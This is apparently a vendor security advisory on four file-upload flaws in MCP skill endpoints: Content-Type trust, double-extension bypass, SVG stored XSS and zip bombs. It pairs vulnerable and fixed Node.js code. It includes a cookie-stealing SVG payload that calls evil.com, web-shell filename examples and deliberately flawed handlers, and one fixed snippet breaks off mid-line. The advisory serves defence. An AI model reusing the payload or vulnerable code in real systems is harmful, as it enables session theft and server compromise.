Claude skill file type validation bypass in MCP upload handlers — SA-SKL-UPLOAD5
File upload handlers are among the most exploited surfaces in web applications. SA-SKL-UPLOAD5 covers four patterns specific to MCP skill upload endpoints: trusting the HTTP Content-Type header as proof of file type when it is entirely attacker-controlled; applying an extension allowlist that a double-extension filename like evil.jpg.php bypasses; accepting SVG uploads and rendering them in the browser without sanitisation, enabling stored XSS from the same origin; and failing to limit archive entry counts before extraction, allowing a zip bomb with one million entries to exhaust process memory.
Why file type validation fails at the header layer
Every file upload in HTTP carries a Content-Type header that describes the MIME type of the file. This header is set by the HTTP client — the browser, curl, a Python script, or a custom attacker tool — and has no cryptographic relationship to the actual bytes of the file. A client can send Content-Type: image/jpeg with a PHP web shell body, or Content-Type: application/zip with an SVG containing JavaScript. Trusting this header is equivalent to trusting a user to truthfully self-identify — the security model breaks the moment an adversarial client enters the picture.
Robust file type validation must be performed on the file bytes themselves, not on the header. The file-type npm package reads the first 4–16 bytes of a file against a database of known magic byte signatures to determine the actual file type independent of any client-supplied metadata. For image files, re-encoding through sharp before storage achieves type laundering — the output is a valid JPEG or PNG produced by a trusted library, with any polyglot or malicious payload stripped. MCP skills that accept file uploads for audit artifacts, documentation screenshots, or skill package ZIPs must implement this defence. SkillAudit's SA-SKL-UPLOAD5 scanner detects all four patterns in a single pass.
evil.jpg.php matches allowlist; web server executes .php extension<script> rendered in browser from same origin; stored XSSUPLOAD5-001 — Content-Type header trusted as MIME truth
When a multer or busboy upload handler checks the MIME type of an uploaded file, it typically reads the mimetype field from the parsed multipart data. This field is populated from the Content-Type part header in the multipart body — which is set by the HTTP client, not extracted from the file bytes. An attacker who sends a PHP web shell in the file body but declares Content-Type: image/jpeg in the multipart part header will pass any MIME-based validation check. The file is stored with a .jpg extension, but its content is executable PHP. If the files are served by a PHP-enabled web server or if a path-traversal vulnerability can change the extension, the web shell executes.
Magic byte validation using the file-type package reads the actual file bytes and returns the detected MIME type independent of the client-supplied header. For images, re-encoding through sharp ensures the output is a valid image regardless of what the input contained. The re-encoded file is what gets stored — not the original upload. This eliminates polyglot files, embedded scripts, and metadata exfiltration vectors in a single operation.
// VULNERABLE — MIME type read from multipart Content-Type header (attacker-controlled)
import multer from 'multer';
const upload = multer({
storage: multer.diskStorage({
destination: '/uploads',
filename: (req, file, cb) => cb(null, `${Date.now()}-${file.originalname}`),
}),
fileFilter: (req, file, cb) => {
// VULNERABLE: file.mimetype is from the multipart Content-Type header
// Attacker sends: Content-Type: image/jpeg with PHP web shell body
// Check passes; web shell stored as /uploads/1234567890-evil.php.jpg
const allowed = ['image/jpeg', 'image/png', 'image/gif'];
if (allowed.includes(file.mimetype)) {
cb(null, true);
} else {
cb(new Error('Invalid file type'));
}
},
});
app.post('/upload/avatar', upload.single('avatar'), (req, res) => {
res.json({ url: `/uploads/${req.file.filename}` });
});
// FIXED — magic byte validation + sharp re-encode + UUID filename
import multer from 'multer';
import { fileTypeFromBuffer } from 'file-type';
import sharp from 'sharp';
import { randomUUID } from 'crypto';
import { writeFile } from 'fs/promises';
import path from 'path';
const UPLOAD_DIR = '/uploads/avatars';
const ALLOWED_IMAGE_TYPES = new Set(['image/jpeg', 'image/png', 'image/webp']);
const MAX_SIZE_BYTES = 5 * 1024 * 1024; // 5 MB
const upload = multer({ storage: multer.memoryStorage(), limits: { fileSize: MAX_SIZE_BYTES } });
app.post('/upload/avatar', upload.single('avatar'), async (req, res) => {
if (!req.file) return res.status(400).json({ error: 'No file provided' });
// Step 1: magic byte detection from actual file bytes
const detectedType = await fileTypeFromBuffer(req.file.buffer);
if (!detectedType || !ALLOWED_IMAGE_TYPES.has(detectedType.mime)) {
return res.status(400).json({ error: 'Invalid file type', detected: detectedType?.mime });
}
// Step 2: re-encode through sharp — strips polyglot payload, normalises format
const reencoded = await sharp(req.file.buffer)
.resize(256, 256, { fit: 'cover' }) // also normalises dimensions
.jpeg({ quality: 85 }) // output is always JPEG regardless of input
.toBuffer();
// Step 3: UUID filename — never use original filename
const filename = `${randomUUID()}.jpg`;
const destPath = path.join(UPLOAD_DIR, filename);
await writeFile(destPath, reencoded);
res.json({ url: `/avatars/${filename}` });
});
UPLOAD5-002 — Double extension bypasses extension allowlist
Extension-based allowlists check that the final extension of the filename is in the permitted set. A filename like shell.jpg.php has a final extension of .php, which is not in the allowlist — this case would be caught. But a filename like shell.php.jpg has a final extension of .jpg, which is allowed. When this file is stored with its original name and served by an Apache or nginx server configured to execute PHP files, the server processes the filename left-to-right, finds the .php extension, and executes the file as PHP regardless of the .jpg suffix. The double extension bypasses the allowlist while enabling execution.
The fix is to strip all extensions from the original filename and generate a new UUID-based name with an extension derived from magic byte detection, not from the original name. The original filename should never be used as or in the storage filename. Additionally, storage directories should be configured with noexec mount options or served from a CDN that does not execute server-side code, so that even if a malicious file were stored, it cannot execute.
// VULNERABLE — extension allowlist on original filename; double extension bypasses it
import path from 'path';
import { createWriteStream } from 'fs';
const ALLOWED_EXTENSIONS = new Set(['.jpg', '.jpeg', '.png', '.gif', '.webp']);
function validateAndStore(originalFilename, fileBuffer) {
const ext = path.extname(originalFilename).toLowerCase();
// VULNERABLE: checks only the final extension
// shell.php.jpg → ext = '.jpg' → passes allowlist
// File stored as shell.php.jpg; Apache finds .php extension and executes
if (!ALLOWED_EXTENSIONS.has(ext)) {
throw new Error('File type not allowed');
}
// VULNERABLE: uses original filename with double extension intact
const destPath = `/uploads/${originalFilename}`;
const ws = createWriteStream(destPath);
ws.write(fileBuffer);
ws.end();
return destPath;
}
// FIXED — UUID filename from magic bytes; never use original extension
import { fileTypeFromBuffer } from 'file-type';
import { randomUUID } from 'crypto';
import { writeFile } from 'fs/promises';
import path from 'path';
const MIME_TO_EXT = new Map([
['image/jpeg', '.jpg'],
['image/png', '.png'],
['image/webp', '.webp'],
['image/gif', '.gif'],
]);
const UPLOAD_DIR = path.resolve('/uploads/images');
async function validateAndStore(fileBuffer) {
// Detect type from magic bytes — completely ignores original filename
const detected = await fileTypeFromBuffer(fileBuffer);
if (!detected || !MIME_TO_EXT.has(detected.mime)) {
throw new Error(`Unsupported file type: ${detected?.mime ?? 'unknown'}`);
}
// UUID filename with extension from magic bytes — no original name used
const ext = MIME_TO_EXT.get(detected.mime);
const filename = `${randomUUID()}${ext}`;
const destPath = path.join(UPLOAD_DIR, filename);
// Verify path confinement (belt-and-suspenders; UUID can't traverse but defence-in-depth)
if (!destPath.startsWith(UPLOAD_DIR + path.sep)) {
throw new Error('Path traversal detected');
}
await writeFile(destPath, fileBuffer, { mode: 0o644 });
return filename; // return only the filename, not the full path
}
UPLOAD5-003 — SVG upload rendered in browser without sanitisation
SVG is an XML-based image format that the browser renders natively, including executing any <script> elements inside the SVG. A file containing <svg><script>alert(document.cookie)</script></svg> is a valid SVG file — it even passes magic byte validation, since the XML declaration at the start of SVG files is a legitimate signature. When this file is stored on the same origin as the web application and served with a permissive Content-Type, any user who views the SVG in their browser executes the attacker's script with full access to cookies, local storage, and DOM on that origin. This is stored XSS with same-origin execution.
SVG uploads require sanitisation — stripping all <script> elements, event handlers (onload, onerror, onclick attributes), <foreignObject> blocks, and <use> elements that reference external URIs. DOMPurify can perform this sanitisation server-side when used with jsdom. Alternatively, store SVGs on an isolated subdomain with its own origin so that script execution cannot access the main application's cookies or DOM. When in doubt, serve SVG files with Content-Disposition: attachment to force a download rather than inline rendering.
// VULNERABLE — SVG stored and served without sanitisation; script executes on same origin
app.post('/upload/icon', async (req, res) => {
const file = req.file; // multer processed the upload
// No sanitisation — SVG stored as-is
// Attacker uploads: <svg><script>fetch('https://evil.com/?c='+document.cookie)</script></svg>
const filename = `${Date.now()}-${file.originalname}`;
await writeFile(`/uploads/${filename}`, file.buffer);
// Served with no Content-Type override — browser detects image/svg+xml and renders inline
// Script executes on origin app.skillaudit.dev with full DOM access
res.json({ url: `https://app.skillaudit.dev/uploads/${filename}` });
});
// FIXED — DOMPurify sanitisation + CDN isolated subdomain + Content-Disposition download
import { JSDOM } from 'jsdom';
import DOMPurify from 'dompurify';
import { randomUUID } from 'crypto';
import { writeFile } from 'fs/promises';
// Server-side DOMPurify instance using jsdom
const { window } = new JSDOM('');
const purify = DOMPurify(window);
// SVG-specific config: allow SVG elements, strip scripts and event handlers
const SVG_PURIFY_CONFIG = {
USE_PROFILES: { svg: true, svgFilters: true },
FORBID_TAGS: ['script', 'style', 'foreignObject'],
FORBID_ATTR: [
'onload', 'onerror', 'onclick', 'onmouseover', 'onfocus', 'onblur',
'xlink:href', // prevent external resource injection
],
};
app.post('/upload/icon', async (req, res) => {
const file = req.file;
if (!file) return res.status(400).json({ error: 'No file' });
// Magic byte check: SVG starts with
UPLOAD5-004 — Zip bomb: archive entry count not validated before extraction
A zip bomb is a compressed archive that expands to a size dramatically larger than the compressed form. The classic attack packages a 42 KB archive that decompresses to 4.5 GB (the 42.zip bomb). More dangerous for server processes is a wide zip bomb: an archive with one million zero-byte or tiny entries where the decompression itself is not the issue — iterating entries.length before the first byte is extracted causes the entry enumeration to allocate memory proportional to the entry count. At one million entries, a 50 MB/entry in-memory limit still causes 50 TB of attempted allocation. Even with per-entry byte limits, enumerating the entry list itself can cause OOM.
The fix is multi-layered: check the central directory entry count before attempting any extraction (getEntries().length in adm-zip, entry count from the End of Central Directory record); reject archives with more than a maximum number of entries (e.g. 1,000); check the uncompressed-to-compressed ratio at the archive level (reject ratios above 100:1); and enforce per-entry size limits during streaming extraction with a live byte counter that aborts on threshold.
// VULNERABLE — no entry count validation; enumerate() causes OOM on zip bomb
import AdmZip from 'adm-zip';
function extractSkillPackage(zipBuffer) {
const zip = new AdmZip(zipBuffer);
// VULNERABLE: zip.getEntries() on a 1-million-entry zip bomb
// Entry enumeration allocates memory proportional to entry count
// 1,000,000 entries × metadata overhead = OOM → process crash
const entries = zip.getEntries();
for (const entry of entries) {
// Even with a size check here, the OOM happens during getEntries() above
const content = entry.getData(); // ← also vulnerable to 42.zip decompression bomb
storeEntry(entry.entryName, content);
}
}
// FIXED — entry count + ratio check + streaming extraction with byte counter
import AdmZip from 'adm-zip';
import { createWriteStream } from 'fs';
import path from 'path';
import { randomUUID } from 'crypto';
const MAX_ENTRIES = 1_000;
const MAX_COMPRESSED_BYTES = 50 * 1024 * 1024; // 50 MB compressed
const MAX_UNCOMPRESSED_BYTES = 500 * 1024 * 1024; // 500 MB uncompressed total
const MAX_RATIO = 100; // 100:1 uncompressed:compressed ratio
const MAX_ENTRY_BYTES = 10 * 1024 * 1024; // 10 MB per entry
async function extractSkillPackage(zipBuffer) {
if (zipBuffer.length > MAX_COMPRESSED_BYTES) {
throw new Error(`Archive exceeds ${MAX_COMPRESSED_BYTES / 1024 / 1024} MB compressed limit`);
}
// Parse central directory only — does not decompress any entry
// AdmZip reads the End of Central Directory to get the entry count
const zip = new AdmZip(zipBuffer);
const entries = zip.getEntries();
// Entry count check before any decompression
if (entries.length > MAX_ENTRIES) {
throw new Error(`Archive contains ${entries.length} entries; maximum is ${MAX_ENTRIES}`);
}
let totalUncompressed = 0;
const extractDir = `/tmp/skill-${randomUUID()}`;
for (const entry of entries) {
// Bounds check on individual entry header (uncompressed size from central directory)
if (entry.header.size > MAX_ENTRY_BYTES) {
throw new Error(`Entry ${entry.entryName} exceeds per-entry size limit`);
}
totalUncompressed += entry.header.size;
// Total uncompressed size check
if (totalUncompressed > MAX_UNCOMPRESSED_BYTES) {
throw new Error('Archive total uncompressed size exceeds limit');
}
// Ratio check
const ratio = totalUncompressed / zipBuffer.length;
if (ratio > MAX_RATIO) {
throw new Error(`Compression ratio ${ratio.toFixed(0)}:1 exceeds maximum ${MAX_RATIO}:1`);
}
// Path confinement on entry name
const entryPath = path.resolve(extractDir, entry.entryName);
if (!entryPath.startsWith(extractDir + path.sep)) {
throw new Error(`ZIP Slip detected: ${entry.entryName}`);
}
if (!entry.isDirectory) {
const content = entry.getData(); // safe: entry size already bounded above
await writeFile(entryPath, content, { flag: 'wx', mode: 0o644 });
}
}
return extractDir;
}
Summary table — SA-SKL-UPLOAD5 patterns
| ID | Severity | Root cause | Fix |
|---|---|---|---|
| UPLOAD5-001 | CRITICAL | Content-Type header trusted — attacker uploads web shell as image/jpeg | Magic byte detection via file-type + sharp re-encode |
| UPLOAD5-002 | HIGH | Extension allowlist — shell.php.jpg passes; web server executes .php match | UUID filename from magic bytes; strip all original extensions |
| UPLOAD5-003 | HIGH | SVG inline script executes from same origin — stored XSS | DOMPurify server-side + isolated CDN subdomain + Content-Disposition: attachment |
| UPLOAD5-004 | HIGH | No entry count validation — 1M entries causes OOM during enumeration | Check entry count before decompression; per-entry + total byte limits |
SkillAudit scans for all four SA-SKL-UPLOAD5 patterns automatically. Run a free scan at skillaudit.dev or see related patterns: SA-SKL-UPLOAD4, SA-SKL-MULTIPART5.